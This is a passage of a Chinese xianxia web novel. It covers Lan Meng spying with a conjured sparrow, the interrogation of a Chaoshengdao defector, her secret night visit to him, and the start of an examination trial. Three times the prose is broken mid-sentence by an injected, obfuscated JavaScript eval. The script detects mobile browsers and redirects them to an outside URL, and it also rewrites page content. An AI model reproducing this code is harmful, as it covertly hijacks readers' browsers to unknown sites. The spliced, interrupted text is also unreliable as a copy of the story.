岚孟沉默着离开了木屋,走到偏僻处,飞身上了一株枝叶茂密的树,取出一片象耳竺折成了麻雀模样,往其中输入一道灵气,麻雀便“活”了起来,绕着她的脑袋飞了三圈,然后轻轻落在了她的虎口处。 带着花苞的细小蔷薇藤从岚孟的手腕钻了出来,缠绕在麻雀的爪子上,它眨了眨眼睛,瞳孔立即变成了灰蓝色,身子慢慢变得透明,最后完全看不见了,仿佛消失了一般。 岚孟轻声道:“去吧。” 虎口上鸟爪的触感悄然消失,而岚孟的视野变了,现在象耳竺麻雀所见即是她所见,山川房屋都映入她的眼中。 红日低垂,漫天云霞落入江水中,碧波在金黄色晚霞倒影上来回滚动。江边有人舞剑,有人耍刀,有人弹琴鼓瑟,有人枯枝为笔坐地画符,熙熙攘攘,好不热闹。 一路往西,越过山丘便是清瑶宫所在,药庐、炼器阁、藏典阁皆在此处。岚孟本想操纵麻雀径直飞过药庐,忽然瞥见坐在院子里的五个人,于是让麻雀调转方向,毫无声息地落在了药庐墙外的树上,远远地看着他们。 其中一个姑娘岚孟认识,是乾霄阁从事吴怀因,其余四人腰间都挂着一块铃铛模样的玄铁腰牌,是禅宗的弟子。 另一个女子眉目如画,顾盼生辉,唇边总是噙着淡淡的微笑。她的腰间缠绕着一根青色十三节皮鞭,鞭把雕刻着三朵梅花。据说此鞭名为列缺,由夔兽之皮制成,自带雷电属性,威力强大,是雷灵根修士梦寐以求的法器。 禅宗,列缺,雷灵根的女子。 岚孟意识到她就是禅宗的下一任首座,年轻一辈闻道境第一人,夏澜熹。 她怎么会在这里? 电光火石之间,岚孟忽然想到了辛念交代她的事情。 麻雀的视线移到了夏澜熹脚下,夕阳将她的影子拉得很长,麻雀看看她的影子,又看看别人的影子,小小的脑袋上充斥着大大的疑惑。 这也看不出来影子里到底有没有人啊。毕竟象耳竺麻雀只是她赋予了一丝灵性的造物,只能借用它的视觉,并没有她的修为。 这时,一个面色苍白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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山到源门内弟子皆为同门,没有内、外门弟子之分,一般也不称职务,资历比自己高就喊师兄师姐,比自己低就是师弟师妹,所以柳逸直才如此称呼。 岚孟故作不知:“师兄何出此言?” “方才用象耳竺叶子叠了一只麻雀飞到清瑶宫领地的是你吧?” 岚孟摇头:“秦谬师兄说过不能去落霞坞以外的地方,我可不敢做那样的事情。” 她继续道:“师兄如何笃定是我做的呢?凡是都要讲求证据,就算是丹灵卫也不能空口白牙污蔑人吧?” 听着她那有恃无恐的话语,柳逸直一阵郁闷。她算准了象耳竺麻雀已经化作齑粉消散了,即使他根据残留的灵气找了过来,可这并不能算作证据,总不能说“我的直觉告诉我就是你”吧? 岚孟笑道:“师兄还有事吗?没事的话我就先走了。”说完她便转身欲走。 柳逸直忽然感觉她含笑的腔调十分熟悉,开口喊道:“等等。” 岚孟转过身,只觉一人如风般掠至她的跟前,她浑身紧绷,连带着腰左侧的短刀都轻微震颤起来,她一手按住,只要对方作出任何攻击的举动便拔刀相向。 却不料对方只抬手揭开了帷帽一角,轻缓的风拂过脸颊,暮色柔和,她对上了一双琥珀色的眼瞳。 柳逸直呼吸一滞,停顿半晌,僵硬地问道:“你,叫什么名字?” 岚孟面不改色地和他对视:“在下闫扶音。” 柳逸直僵硬地放下了鲛云纱一角,听到自己说道:“你走吧,切勿去往落霞坞以外的地方。” 岚孟低眉顺眼地答应,转身后心情便明媚如春,心想,很好,记忆封禁术还有效果,他没认出她来。 而柳逸直心中已经发出了一声爆鸣。 这不是屏基山里出尔反尔还暗算他的可恶妖族吗!她怎么来考丹灵卫了! 19. 朝圣道 贺舟晏感觉自己现在很不好。 一则是受了不轻的伤,腹部破了个大洞,还在汩汩流血,左腿也折了,一动就疼痛难忍。 二来是无时无刻不忍受着般若心经对神识的洗涤,这让他的精神高度紧绷,稍有懈怠,充满佛性的心经念诵声就会在识海内回荡,令他头疼欲裂。 这来自那个擒获他的女人,禅宗未来首座,夏澜熹。 四天前,他叛出朝圣道,本来都要甩开追杀的教徒了,结果半路杀出个程咬金,他又撞上了夏澜熹一行人,费了吃奶的劲才甩开他们,找到机会向辛念求救。接应的人还没来,朝圣道的教徒却闻着味找来了,他打不过人家,逃了一整宿,天一亮禅宗的人又不知道从哪里冒出来了。 他那时腹部已经受了伤,只觉得再跑下去就要嗝屁了,心灰意冷之时发现了一处设有迷障的树林,他一头扎了进去,其他人纷纷追着他进来,结果追捕他的狗贼被击杀,他也被夏澜熹活捉,化作黑暗遁入阴影时还被那个女人踩断了一条腿。 后来才知道那迷障树林竟然是山到源的领地!然后他就被提到了这个庄严大气的宫殿,接受第一仙门的老大、造化境大圆满强者左愁双的审讯。 想到这里,贺舟晏扭头瞪了夏澜熹一眼。 夏澜熹脸上带着如春风般和煦的笑容,嗓音温柔绵软:“看我做什么,回答源主的问题,机会得你自己争取。” 言下之意就是把知道的事情都说出来,要是情报属实可用,说不定还能留他一条小命。 贺舟晏舔了舔干裂的嘴唇,嗓音沙哑道:“我要喝水。” 议事堂内寂静了一瞬。 除了夏澜熹和左愁双,这里还有坤仪堂山主叶于明、霆霓坊山主彭隽,每一个都是九州大地响当当的人物。 若贺舟晏是被丹灵卫擒获的,那他此刻应该身处霆霓坊的审讯室,而不是在乾霄阁宽敞明亮的议事堂里。 在众多大人物的目光注视下,贺舟晏又虚弱地重复了一句:“我要喝水。” 想了想他又补充了一句:“我还有点饿。” 夏澜熹快被气笑了,几乎要维持不住一向温和的笑容。 面对源主和两位山主,即使是禅宗下一位首座,按辈分来说和山主、掌炬是同一辈,她也不敢造次。 结果这个胆大包天的朝圣道叛徒,他说什么?想喝水? 当着长辈的面她不好发作,竭力忍住了将贺舟晏的头按在地上摩擦的念头。 率先打破静谧的是叶于明,他笑出了声,吩咐在门口看守的丹灵卫取水和吃食进来。 贺舟晏狼吞虎咽吃完了食物和水,总算恢复了一点力气,不等他们催促,他主动坦白道:“朝圣道的人已经混入了丹灵卫的考生里。” 彭隽是个英姿飒爽的女子,眼神犀利如鹰隼,她双手环胸质问道:“你有什么证据?” “证据?”贺舟晏自嘲一笑:“我不就是证据?若不是半道上跑了,我如今应该在那五百个考生当中。不信的话,我怀里还有一颗祈金珠。” 夏澜熹半信半疑地向他衣襟里摸去,果然拿出来一个祈金珠。 “还真是祈金珠。”叶于明看向下方瘫坐在地上的人,问道:“你从何处得来的?” “我哪知道?他们给我,我就收着了。可能是杀了某个修士夺宝得来的吧。”贺舟晏咧开嘴恶劣地笑道。 “即便有祈金珠,也不能证明朝圣道教徒混进了考生之中,贵派的泉升门也有辨识魔气的方法吧?”夏澜熹道。 “夏小友说的是,但泉升门并不能辨识出内敛入身体里的魔气。”叶于明解释道。 贺舟晏两手扶着折断的腿,给自己换了一个更舒服的姿势,一手托着腮,脸上是漫不经心的笑容。 他道:“你们爱信不信。反正你们这些名门正派和朝圣道一样,都不是什么好东西,到时候狗咬狗,斗个两败俱伤就好了,我也乐见其成。” “你这竖子!”彭隽怒骂道,她掌心聚起灵气,就想朝着贺舟晏的天灵盖来那么一下,却被左愁双拦了下来。 这个一直沉默不语的造化境强者看着贺舟晏的眼睛,询问道:“小友何出此言?私以为,我们并没有做什么对不起你的地方。” 贺舟晏“嘁”了一声,冷声道:“怎么,敢做不敢认?把处理不了的魔扔到九幽,难道不是你们干的好事?” 他转向夏澜熹,笑道:“喂,姓夏的,你不是最清楚这种事情了吗?” 夏澜熹容色微妙,见其他人都看向自己,叹了口气,实诚道:“此类问题确实存在,不止我们禅宗和其他宗门。” 她看向最上首的左愁双,道:“丹灵卫之中也有人以此法处理魔族,特别是前掌炬陨落之后。” 尧玦死后,再无人能够接掌暾云炬,即便洛山能够调用暾云炬的投影,对于狼烟四起的九州来说,也不过是杯水车薪。 彭隽闻言愤恨地以掌拍桌,骂道:“那帮不成器的小兔崽子!” “九幽魔物肆虐,已成为魔气最浓重之地,我们努力了千百年,也没能进入九幽根除魔气,还给九幽增添了更多负担,确实是我辈修士的失职。”左愁双道。 九幽本是雍州的领土,被魔物攻占之后便成了纯阴无阳之地,荆棘丛丛藏鬼怪,石崖磷磷隐邪魔①,一度被后人认为是十八层地狱之所在。其有天然的阴寒之气作为屏障,和魔气恰恰相反,修为越高,受到的阴气侵蚀越严重,所以高阶修士甚至都无法靠近九幽的边缘,而低阶修士进入九幽群魔之地又无异于羊入虎口,所以千百年来,讨伐九幽的计划一直搁置。 虽然有梵音铃镇守雁门关,阻挡从九幽逃出来的魔族,可仍旧有贺舟晏这样的漏网之鱼,若不采取有效的行动,假以时日,魔族引发的浩劫必将降临于九州大地。 贺舟晏冷哼一声:“你知道就好。” 其余三人:“……” 他怎么敢的啊?放眼整个九州大陆,左愁双的修为也是顶尖的存在!半步登天可不是吹出来的! 左愁双本人倒是笑呵呵的,看贺舟晏就像是在看自己的后辈一样,温和道:“那小友可否详细说一下朝圣道的情况?” 贺舟晏道:“朝圣道起源于九幽,教众都称首领为‘圣者’,不过他几十年也不露一次面,没人见过他的样子,也不知道他叫啥,大家都只听舵主的命令行事。” “这次丹灵卫试炼,我们分舵来了四个人,我逃出来了,其中一人来杀我,反被夏首座所杀,其他两个估计已经混进考生里了,至于其他分舵来了多少人,我并不知情。” 夏澜熹皱着眉纠正他:“我还不是首座,别这么叫我。” 贺舟晏斜眼瞥她:“不是早晚的事吗?” 夏澜熹不说话,只冷着脸看他。 贺舟晏妥协道:“好吧好吧,夏姑娘,行了吧?” 左愁双和两位山主又问了几个问题,贺舟晏一一回答了,并没有隐瞒,毕竟他更希望以山到源为首的正道能彻底覆灭朝圣道,把该死的“圣者”从暗处揪出来挫骨扬灰。 最后,左愁双问道:“你可知辛念如今身在何处?” 贺舟晏的神色慌乱了一瞬便立即恢复了平静,他皱眉问道:“你是说三十年前盗取暾云炬的朝圣道教徒?老天,那会我还没出生呢,我都不认识她,怎么可能知道她在哪!” 叶于明和彭隽对此问也十分不解,纳闷地看着左愁双,希望源主能给一个解释。 左愁双只笑了笑,并没有作答,挥手让夏澜熹带着贺舟晏退下疗伤去了。 他们二人走后,左愁双的脸色便沉了下来,犹如潜藏暗潮汹涌的平静水面。 “召集各山主议事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929615|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 清瑶宫,药庐。 路央手速飞快,眨眼间便接好了贺舟晏的断腿,贺舟晏脑子还没反应过来,嘴巴就已经惨叫出了声。 路央一边用竹板固定伤腿一边道:“错位的骨头我已经给你正好了,竹板至少得保持七天,续骨丹一天吃三颗,少一颗都不行。” 贺舟晏抬袖擦了擦额头的汗,问道:“没有止疼的药吗?” 路央瞥他一眼,道:“二十个灵石一瓶,你要吗?” 贺舟晏本想去拿怀里的芥子袋,忽然想到了什么,朝坐在不远处的两个禅宗弟子伸出手道:“我这条腿可是你们夏首座踩断的,你们得赔钱!” 元赫冷眼看着贺舟晏道:“不知好歹,留你一命就是开恩了。” 贺舟晏乐道:“嘿,和你说话了吗你就叫?你不过是我的手下败将,仗着有张狗嘴就在那狺狺狂吠,真是显着你了。” “你!”元赫“噌”地站了起来,却被他身侧的同门拉住了。 “怎么,想打我?哎呀呀那可真是不巧,你们尊贵的源主大人刚刚下令要好生照顾在下,不能让在下掉一根毫毛呢。” “少拿鸡毛当令箭了!不过是看你还有点利用价值罢了,待此事一了,你以为你个朝圣道的魔族还有几日可活!”元赫不客气地呛了回去。 “原来是这样吗,我好害怕哟~”贺舟晏双手搂着自己作柔弱状,元赫简直气不打一处来。 竹板已经缠好了,路央收拾着药箱,插嘴道:“我很好奇,你们朝圣道是怎么利用魔气的,真有什么绝世功法?” 贺舟晏唇边噙着一抹嘲弄,轻飘飘道:“没什么稀奇的。以外力强行将魔气打入丹田,让灵根之中的灵气尽数被魔气替换,让魔气充盈人体的每一寸经脉,如此就能把魔气当成灵气用了。” 路央倒吸一口冷气。 “你想试试吗?虽然我不过知行境,可对这套流程也算熟悉,你若有兴趣,我可以为你运功。”贺舟晏怂恿道。 路央面无表情地拒绝。 通常意义的入魔,是魔气先进入修道者的经脉,逐渐侵染丹田和灵根,最后影响神志,而贺舟晏所说之法则是完全相反。以魔气替换灵气,就好比把一个人的血抽干了换上沸水一般,不仅要承受“抽血”的痛苦,还要考虑能不能在“沸水”冲刷下存活。一丁点的魔气都可能使道心动摇、根基倾塌,更何况是让全身经脉都盈满魔气了。 贺舟晏耸耸肩,一副无可奈何的样子:“好吧,当我没说。” 路央递给他一瓶丹药,唏嘘道:“你也是条汉子。” 贺舟晏打开瓶塞看了看,问道:“止痛丹?送我的?” 路央:“想什么呢,当我清瑶宫是善堂不成?快给钱。” 指望不上禅宗赔钱,贺舟晏只好咬牙将兜里仅剩的二十灵石给了出去。 “你们将他抬到南园去吧。”路央朝元赫二人道。 眼看元赫狞笑着朝自己走来,贺舟晏心里发虚,忙抱住路央的胳膊,卖惨道:“人美心善的姐姐,要不我就留在这里吧,你看我这缺胳膊少腿的,也不方便挪去其他地方,在这里还方便你诊治……” 然而还不等他说完,元赫二人便一左一右抓着他的胳膊将他架了起来,三人身高不一,夹在中间的贺舟晏半个身子都朝最矮的元赫一侧歪去,还正好是他伤了腿的左半边身体,于是贺舟晏只能自己抬着左腿,仅靠右腿一蹦一跳往前走。 他们俩还跟约好了似的,一会这个拉他,一会那个扯他,贺舟晏跟个破布娃娃一般被他们扯来推去,到了南园下榻处,他才终于逃脱了魔爪,被关进了门窗紧闭的屋子里。 躺在床上,贺舟晏紧绷的心神才稍微放松了下来,然而一口气还没落到肚子里便又提了嗓子眼。 一个黑影悄无声息地站在了他的床边。 20. 抢绣球 秉持着“敌不动我不动”的原则,贺舟晏没有行动也没有叫喊。元赫等人就在这个院子里,但他们毫无察觉,元赫那厮甚至还叫嚷着要去落霞坞膳堂吃宵夜,说明来人修为定在他们之上。进了屋子没有立即行动,只是站在床边看着他,也不像是来杀他的。 夜色深沉,屋中伸手不见五指,贺舟晏看不清来人的样貌,只通过身形推测应该是个瘦削高挑的女子,他咽了咽口水,低声问道:“不知阁下漏夜前来所为何事?” 岚孟打量着仰躺在床上强装镇定的男子。虽然他浑身是伤,但已经得到了良好的医治,气息有点紊乱,一丝丝魔气缠绕在他的伤腿上,却没有往外逸散的趋势,说明情况还不算坏,至少能制得住魔气。 黑暗中,隐约看到他眉骨上的一枚小痣,她问道:“你就是贺舟晏?” 贺舟晏心念微动,支起身体靠在了床边,惊讶溢于言表:“莫非,你就是辛念说的接应之人?” “你可以叫我闫扶音。” 他看着那人走到桌边提起茶壶倒了杯水,从袖中取了个东西丢了进去,“啵”地一声,亮光从杯中迸发出来,几息过后亮光就黯淡了下来。 岚孟将那杯水递了过来,说:“加了暗影草籽,效果不算很好,毕竟你现在无法吞吐灵气,但是没毒,辛念喝了也没死。” 贺舟晏接过那杯表面流光溢彩冒着烟气的水,心情忐忑地一饮而尽,只觉暖意顺着食管流淌到了腹中。他两手握着杯子,问道:“你怎么知道我在这里?” 岚孟在桌边坐下,道:“在药庐看见了夏澜熹。” 所以就猜到他被抓到山到源了吗?贺舟晏茅塞顿开。 等等。 “你是山到源的人?”贺舟晏惊愕道。 怎么回事?辛念不是因为偷盗暾云炬而被山到源通缉吗?她的同伙都已经打入山到源内部了? 岚孟摇了摇头道:“不是。” 贺舟晏松了一口气,他就说嘛,方才左愁双还问他辛念的下落了,他虽然含糊了过去,但左愁双何许人也?他可是叱咤风云的造化境强者,怎么可能看不出来他在说谎。要是丹灵卫里真有辛念的内应,左愁双这个山到源的老大可不就成吃干饭的了吗? 岚孟补充道:“正在考。” 贺舟晏差点捏碎了手中的杯子。 啥玩意,考丹灵卫? 贺舟晏不由得重新审视眼前的姑娘。他原以为辛念所说的接应之人,就算不是同为朝圣道叛逃者,也该是和朝圣道有关系的人,或许是入魔却还保留神志的人,或许是和辛念一样被修界通缉的逃犯,总归不是能正常行走于白日之下的普通修士。 瞧瞧她说的是什么,她正在考丹灵卫? 岚孟正打算说点什么,忽然察觉到了有闻道境强者靠近,或许是夏澜熹回来了。于是长话短说道:“看你还活着我就放心了,以后要是有事你可以通过辛念找我,但我不一定有空来救你。” 见到她起身欲走,贺舟晏连忙道:“唉,别走啊,还等什么以后啊,你就不能现在救我走吗,我都快被他们折磨死了,再也不想听那什么般若心经了!” 岚孟想了想,道:“般若心经对你稳固魔气有好处,你继续待在夏澜熹身边吧,最好每天多听几遍,等伤好了再逃走也不迟,届时我会来助你。” 话音刚落,她就推开窗户跳了出去,完全没给贺舟晏抗议的机会,而她前脚刚走,夏澜熹后脚就推门进来了,贺舟晏一把将手中的杯子扔了出去,滚落在夏澜熹脚边。 他骂道:“你好歹是个姑娘家,进男人的房间都不知道敲门的吗?” 夏澜熹捡起地上的杯子,温柔地笑了笑道:“不好意思,我有点心急了,主要是怕你受到伤害。” “方才是谁跳窗户走了?” 贺舟晏大吃一惊:“什么什么?刚刚有人来过?从窗户进来的?那你快去追啊!傻站着干什么!” 夏澜熹狐疑地看了他一眼,走过去推开窗户查看,自然是什么也没发现。其实她也不确定是不是有人进来过,提到窗户也只是想诈一诈贺舟晏而已。 至少现在看来,他的反应并没有什么异常之处,还得再观察观察。 夏澜熹将手中的杯子放回了桌上。 贺舟晏悄悄舒了口气,看来茶杯上没残留什么奇怪的东西,要是被夏澜熹发现就惨了。 又叮嘱了他一些诸如“你只是囚犯”“安分一点别整幺蛾子”之类的话,夏澜熹便推门离开了。 贺舟晏终于能躺下睡觉了。 昏昏欲睡之际,他终于想起来自己忘记什么了。 靠,没和那姑娘说朝圣道教徒混进丹灵卫考生之中的事情! - 岚孟离开禅宗的院子以后,没有在外面逗留,径直回到了自己的房间。 为了隐瞒妖族的身份,她封锁了妖境,将杂七杂八的东西都一股脑塞进了芥子袋里,所以她费了些功夫才找到盛了回溪之水的琉璃瓶,在掌心倒了一点回溪水,用灵气控制成膜状敷在了眼睛上,虽然只能缓解痛楚,但也算聊胜于无。 黑暗中,她幽幽叹了口气。 她忽然想到了一件事。那个叫柳逸直的风灵根修士,她看到他的山水令换成黑色了,他既然已经晋升为卫尉,那就有可能会担任溯回试炼的稽查。 她想,谁都好,可千万别遇上他。 另一边,北园,枫树下,柳逸直坐在桌前,心想溯回试炼里,那个狡猾的闫扶音要是能进入他所在的门里就好了。 恢复记忆之后,不知为何,他觉得不该把此事上报宗门,所以一直瞒着没和任何人说。他本打算找风菱衣商量一下,毕竟那妖族好像认识自己这个不靠谱的师傅,哪成想一个月过去,风菱衣都没回山到源,用传讯符也联系不上他。 他一直很疑惑为何她能从山水令里盗走暾云炬神力,并且怀疑这是她给他们设下记忆封禁术的原因。 她不想让山到源知晓此事?还是不想让山到源知道有她这么一号人物? 不论是何原因,此妖都十分可疑啊。 而且妖不像人一样靠氏族传承,一般是没有姓的,她这个名字一听就是人族的名字,或许不是本名,或许这就是她没有遭天谴的原因?也不一定,毕竟他不知道天谴落下是什么样子,或许她已经受到惩罚了也说不准。 还有一个可能是,她对他们做的事情并没有被天地认为是伤害。 不论如何,柳逸直都庆幸白天遇到她时,自己没有露什么马脚,要是让她知道记忆封禁术失效了就不好了。 他又拿出了盛放重明尾羽的木盒。那片羽毛尾部的红色已经消失了,变得通体金黄,在萤石微弱的光芒照射下熠熠生辉。 柳逸直手指轻抚羽毛,在心中再一次对尧玦道了谢。 - 翌日,落霞江畔,五百只灵鹤驮着考生们沿江直下,来到了一处悬崖边。碧波拍打在直插高空的石崖上,激起白雪似的浪花。灵鹤们直直冲向绝壁,激起无数惊呼声,在即将撞到石壁时才猛地往上飞,几乎是贴着垂直的绝壁冲上了崖顶。 开阔的崖顶空无一人,只有一个已经开启的圆形阵法,里外三层繁复神秘的阵纹缓缓转动着,最前方的男子率先从灵鹤背上跳进了阵法之中,一阵光芒过后,他已消失不见,灵鹤长啸一声,扑腾着翅膀飞走了。后面的人有样学样,跟下饺子一般纷纷跳进了阵法之中。 鲛云纱被乱流掀了起来,没能遮挡住大部分光线,岚孟眼前一阵刺痛,单手捂着眼睛,用了几息时间才缓了过来。 她还是第一次来到溯回试炼的场地。 这里是从虚空之中开辟的异空间,状似盆地,脚下地板排列呈辐射状,各个区域颜色和花纹不同,往外延伸是十座对应的门。 “你没事吧?” 轻缓的询问声传入耳中,岚孟扭头看去,只见一个穿着水蓝衣裙的姑娘担忧地看着自己。 她的睫毛颤了颤。 是屏基山那个女孩子。 “是哪里不舒服吗?这里是另一个位面,第一次进来可能会有眩晕、恶心的感觉。” 岚孟笑了笑:“现在好多了,谢谢你。” 娄雪沁见岚孟的脸庞渐渐浮起了几分血色,不再苍白骇人,这才放下心来:“不客气,我第一次来这里的时候晕得比你还厉害。我叫娄雪沁,是焱堂弟子,姐姐你叫什么呀?” 岚孟答道:“奚玄门,闫扶音。” 喔喔喔美人姐姐的名字也好好听呀!娄雪沁心花怒放,两眼亮晶晶地望着岚孟:“是修习抱川刀的门派对吧?我知道你们掌门很厉害,不到一百岁就已经是破妄境的强者了。闫姐姐,你学的是抱川刀还是掌门自创的刀法呀?” 岚孟脸不红心不跳道:“掌门的刀法。” 在人群中苦苦寻找的鸣珂终于看到了岚孟的身影,一边喊她的名字一边挤了过来。 “你看到何与飞了吗?”岚孟问道。 鸣珂摇摇头,“没看到,只顾着找你了。” 算了不找了,反正他也不会想和她进同一个门试炼,岚孟想。 “我们现在要干啥?”鸣珂问道。 “要抢绣球哦!”娄雪沁回答道。 “啊?是谁要嫁人?”鸣珂一下子就想到了人族话本里站在高楼抛绣球选夫君的富家小姐。 娄雪沁“噗嗤”一声笑了出来,解释道:“此绣球非彼绣球,你看我们周围的试练之门,颜色不一样对吧?我们五百个人要按照抢到绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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鸣珂抱头蹲地,抬眼看见周围人要么追着绣球跑,要么被绣球追着砸。她总算是明白了,为什么岚孟要让她小心,尼玛这绣球长了腿啊!它会安安静静停在地面上,等你上钩时迅速溜走,或者趁你不注意猛地砸在你背上,简直就像是顽劣的孩童一般。 仅仅是蹲在地上的几息时间,鸣珂就被三个球砸、两个人撞了。又一个球迎面飞来,鸣珂愤怒地一拳打了上去,绣球被击飞出去,砸在了另一人脑袋上。 鸣珂心里咯噔一声,忙过去扶起那人,连连道歉。 言如期捂着红肿的额头,笑着说没事。 另一边,娄雪沁被一个球锲而不舍地追着跑了很远,忽然有人从侧面撞了她一下,娄雪沁刚想怒骂,便看到了翟子续那张欠揍的脸。 “拿蓝色!”翟子续朝她大声道,刚说完他就错开娄雪沁朝另一个方向追去了。 啊?蓝色蓝色……追着她跑了大半圈的不就是蓝色么?娄雪沁立即转身,果然看见一个蓝色的绣球冲着她飞来,她兴奋地扑了上去。 一炷香时间已然过半,不少人抢到球后就迅速跑到外围待着,将绣球紧紧护在怀里。一方面是避免蠢蠢欲动的绣球逃跑,另一方面还得防着其他人来抢。 何与飞拿到心仪的黄色绣球后也跑到角落里蹲着,至于为何是黄色,自然是因为佟萧喜欢黄色。 目光越过场地里的火热朝天,他看到头戴帷帽的岚孟安安静静坐在对面远离人群的地方。他蹙眉腹诽道,她怎么不去抢绣球?莫非是身体不舒服?眼睛疼?还是已经瞎了?鲛云纱失效了? 正胡思乱想着,他就看见一个绣球被人击飞,朝着岚孟所在的方向飞了过去,而岚孟眼疾手快,拔出腰间的短刀将那球扎在了地上,然后她就用刀叉着绣球坐回了原来的位置。 ……是他多虑了。 “咚——” 低沉厚重的钟声响起,一炷香时间到了。 绣球们瞬间安分了下来,场地里尚未抢到绣球的几人也迅速挑了个绣球攥在手中,一道道光芒亮起,考生们被绣球传送到了对应颜色的试练之门前。 娄雪沁惊愕地看着隔壁怀抱紫色绣球的翟子续,怔愣了一瞬间后一把将手中绣球扔到了翟子续身上,指着他的鼻子怒骂道:“混蛋!你不是让我抢蓝色球吗!” 翟子续的震惊不比娄雪沁少,他看着手里的绣球,纳闷道:“这不是蓝色吗?” 站在一旁的诸葛宁歪头看了一眼,忍俊不禁道:“你手里拿的是紫色。” 翟子续长大了嘴,绣球从手中掉落,咕噜噜滚了出去。 “完了完了,”他十指抓着脸,看着娄雪沁求饶道:“对不起对不起,我不是故意的。” 娄雪沁撅着嘴生气。 怎么这样啊,那她岂不是被其他同门抛下,得一个人参加试炼了? 这时,秦谬的声音再次响起:“站在你们面前的是本次试炼的稽查,他们会言明试炼规则。话不多说,诸位跟着稽查进入门中吧。” 娄雪沁踮着脚朝最前面看去,只见五个人于虚无中显露身形,其中一人赫然是柳逸直师兄,她得到了一点安慰,至少还有个熟悉的人。 同在蓝色门前的岚孟看到的却是站在最中间的神色冰冷的男人。 许——渭—— 她咬牙切齿地在心中说出了他的名字。 21. 参与商 龟裂的大地犹如饱经风霜后老人布满皱纹的面孔,炽热的骄阳舔舐着每一寸没有草木覆盖的土地,迅疾的风卷起枯叶与尘沙,天也被染成了荒凉冷寂的土黄色。 许渭站在一处小土坡上,俯瞰着下方或坚毅或懵懂的五十个面孔,略带沙哑的声音传入他们每个人的耳中。 “我乃霆霓坊令尹许渭,我左手边是清瑶宫从事路央、焱堂卫尉黄兆宜,右手边坤仪堂从事楚乐、巽崖卫尉柳逸直,我们五人共同担任庚门稽查。我们将抢夺你们手里的玉牌,而你们的任务,是保住玉牌,找到危害此界的魔并将其击杀。” 岚孟一眼不眨地盯着许渭,紧握的拳头吱嘎作响,指甲嵌入手心里几乎要扎出血来,她猛地放开拳头,深呼一口气,抬手正了正帽檐,心道,不急,有的是机会。 和其他人换了蓝色绣球的鸣珂高高兴兴跑到了岚孟身边。 娄雪沁环顾四周,没看到一个焱堂同门,却发现了刚刚认识的闫扶音,于是她矮下身子挤到了闫扶音身边,扯着她的袖子问道:“扶音姐姐,待会我可以和你一起走吗?” 岚孟诧异地看了娄雪沁一眼。难道她施下的记忆封禁咒失效了?不应该啊,这小姑娘不过元初境界,她也没感觉到咒术被破坏的迹象,而且先前她遇到修为更高的柳逸直也没察觉到什么不对劲的地方…… 她忽然想到方才的事情,知道她抢错了球,和同门都分开了,于是点头道:“可以,你叫我名字就行。” 娄雪沁暗自雀跃起来,太好了!可以和赏心悦目的姐姐一起走,失之桑榆,收之东隅,也没有那么坏嘛。 当然,试炼结束以后她绝对要暴打翟子续那个不分蓝紫的蠢材一顿。 路央拍了拍手,众人安静下来,她朗声道:“你们当中只有十个人能得到晋升的资格,我们会根据你们的表现进行打分,被抢走玉牌或者死于魔物之手者,都将被取消资格。试炼将持续七天时间,在此期间,不得寻衅滋事、故意伤害他人性命,违者将受到霆霓坊的惩罚。诸位,都听明白了吗?” “明白!” 这时,一个男子将手高高举起,出言问道:“请问,我们要是被魔袭击了,会真的死掉吗?” 路央道:“魔和此界中人都是历史幻象,对你们造成的伤害在只会留在门内,若是不敌可以捏碎玉牌传送出去。还有一点,”她环顾众人,用温和的语气吐出了残忍的话:“稽查不会对你们下死手,不代表其他人不会。” 意思就是被幻象中的人或魔杀死,意味着试练失败;而若是被考生所杀,那就是真的死了。 众考生议论纷纷。 “若无异议,那就出发!” 柳逸直看到了欢呼雀跃朝他打招呼的娄雪沁,微笑着点了点头,目光平移,落在了与她并肩而行的闫扶音身上,只看了一眼就移开了视线。 五个稽查的身影同时消失了,稽查与考生之间的狩猎已然开始。 鸣珂好奇地看着娄雪沁,问道:“你和他很熟吗?” 娄雪沁解释道:“我曾经和柳师兄共事过一段时间,他人很好的。” “看着倒是挺温和的,不过中间那个男的就凶巴巴的。”鸣珂点评道。 娄雪沁警惕地看了看四周,压低声音道:“许令尹一向如此。而且几年前源主选了洛山师兄暂掌暾云炬,没有选他,可把他气坏了,所以脾气更不好了,大家都怕他,看见他就绕道走。” 岚孟在心底冷笑一声。 真不知该说他是贼心不死还是自不量力了。 忽然感觉背后有人,她向前大跨一步躲开了,转身发现一个年轻男子抬着手,像是要拍她肩膀。 鸣珂和娄雪沁都纷纷回头。 袁涯邻放下胳膊,笑道:“姑娘,又见面了。” 岚孟面露疑惑:“你是?” 袁涯邻才想起来上次见面他易容了,于是解释道:“我们在按云城见过的,我就是那个算命先生。” 岚孟恍然大悟:“是你啊。” “是我是我,”袁涯邻开心道,“真没想到姑娘你也来参加丹灵卫考核呀,你身边那个小妖呢?” 岚孟道:“他没跟来。” 她不动声色地瞥了娄雪沁一眼。 她第一次用记忆封禁术,并不能像尧玦那样控制记忆封禁的内容,只能控制时间节点。如今她最多也就只能封禁两个时辰的记忆,算起来应该是柳逸直来找她之前,所以他们肯定还记得昭离。 还好这人没说出来昭离的身份,不然提起山魑和按云城,娄雪沁肯定会有所察觉。 袁涯邻嘿嘿一笑:“三位姑娘,我能和你们一起走吗?我也落单了。对了,我叫袁涯邻,太乙门的。” 娄雪沁巴不得队伍再壮大一点,这样稽查来的时候她也不至于孤立无援,直接被抢了玉牌。 岚孟想的则是她迟早会抛下她们去找许渭,多一个人照顾也好,鸣珂也没什么意见。 于是一行人互通了姓名,作为唯一一个焱堂弟子,娄雪沁和他们说了说几个稽查的情况。 